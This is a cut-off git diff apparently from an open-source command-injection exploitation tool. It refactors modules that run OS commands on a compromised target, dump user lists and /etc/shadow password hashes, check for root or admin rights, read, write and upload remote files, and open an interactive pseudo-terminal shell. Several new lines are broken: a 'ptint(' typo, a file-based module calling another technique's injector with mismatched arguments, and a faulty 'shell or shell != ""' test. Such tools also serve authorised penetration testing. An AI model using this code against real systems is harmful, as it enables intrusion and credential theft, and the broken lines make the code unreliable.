TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": - # Not yet implemented! + check_option = "--passwords" + checks.unavailable_option(check_option) pass else: cmd = settings.SYS_PASSES @@ -492,20 +459,16 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE info_msg += "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) + print(settings.print_info_msg(info_msg)) sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) + sys_passes = sys_passes.split() if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -518,7 +481,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -529,25 +492,24 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") + print(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + fields[0]) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) + """ Single os-shell execution """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = menu.options.os_cmd - info_msg = "Executing the user-supplied command '" + cmd + "'." + cmd = menu.options.os_cmd + info_msg = "Executing the user-supplied command: '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -561,43 +523,49 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) + if shell and shell != "": + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, shell)) else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) """ Check the defined options """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - # Check if PowerShell is enabled. if not menu.options.ps_version and settings.TARGET_OS == "win": checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.hostname: + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.current_user: + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True + if menu.options.is_root or menu.options.is_admin: + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + settings.ENUMERATION_DONE = True + if menu.options.sys_info: + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index cd91cc4534..67090acfa1 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -32,7 +32,7 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching the content of the file '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -53,17 +53,13 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -141,8 +137,6 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - #if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) @@ -155,7 +149,8 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, """ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": - # Not yet implemented + check_option = "--file-upload" + checks.unavailable_option(check_option) pass else: file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() @@ -199,8 +194,6 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 38e4e91ba0..8303638c86 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -138,11 +138,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ payload = payload.replace(" ", "%20") # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - print(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: print(settings.print_payload(payload)) # Cookie header injection @@ -209,10 +205,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - except KeyboardInterrupt: - raise - - except SystemExit: + except (KeyboardInterrupt, SystemExit): + print(settings.SINGLE_WHITESPACE) raise except EOFError: @@ -283,12 +277,13 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: checks.total_of_requests() - # Print the findings to terminal. - info_msg = "The" + finding = "" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " + finding += http_request_method + finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter + + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -304,8 +299,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -327,8 +322,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -350,23 +345,23 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.options.os_cmd: eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: + try: + # Pseudo-Terminal shell + go_back = False + go_back_again = False + while True: + if go_back == True: + break + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + if gotshell in settings.CHOICE_YES: + print(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) @@ -395,51 +390,38 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell != "": + if shell or shell != "": shell = "".join(str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - if not settings.IS_TTY: - print(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() + if no_result == True: + return False + else: + return True + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + gotshell + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + except (KeyboardInterrupt, SystemExit): + raise + except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + print(settings.print_error_msg(err_msg)) + raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index fc76104f45..312bb20084 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -15,14 +15,11 @@ import re import sys - from src.utils import logs from src.utils import menu from src.utils import settings from src.utils import session_handler - from src.core.injections.controller import checks - from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.file_based import fb_injector @@ -52,17 +49,14 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp try: if float(ps_version): settings.PS_ENABLED = True - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) # Output PowerShell's version number - info_msg = "The PowerShell's version number is " + info_msg = "Powershell version: " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The PowerShell's version number is " + ps_version + ".\n" + info_msg = info_msg output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: @@ -88,15 +82,12 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + info_msg = "Hostname: " + str(shell) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = "Hostname: " + str(shell) + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -133,7 +124,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -150,22 +141,17 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + if target_os and target_arch: + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - warn_msg = "Heuristics have failed to retrieve the system information." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ @@ -185,63 +171,49 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Current user: " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) - + + +""" +Check if the current user has excessive privileges. +""" +def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + if settings.TARGET_OS == "win": + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Evaluate injection results. + shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + """ System users enumeration """ @@ -265,8 +237,6 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Windows users enumeration. if settings.TARGET_OS == "win": - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) info_msg = "Executing the 'net users' command " info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) @@ -281,9 +251,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys_users_list = sys_users_list.split() info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -296,10 +265,9 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - check_privs = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() @@ -313,37 +281,29 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else : is_privileged = "" is_privileged_nh = "" - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) # Unix-like users enumeration. + print(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass + + # Unix-like users enumeration. else: - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -353,11 +313,9 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -369,12 +327,10 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.PASSWD_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -414,11 +370,11 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -432,30 +388,26 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print("\n" + settings.print_warning_msg(warn_msg)) + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass - + """ System passwords enumeration """ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": - # Not yet implemented! + check_option = "--passwords" + checks.unavailable_option(check_option) pass else: cmd = settings.SYS_PASSES @@ -470,22 +422,16 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac sys_passes = 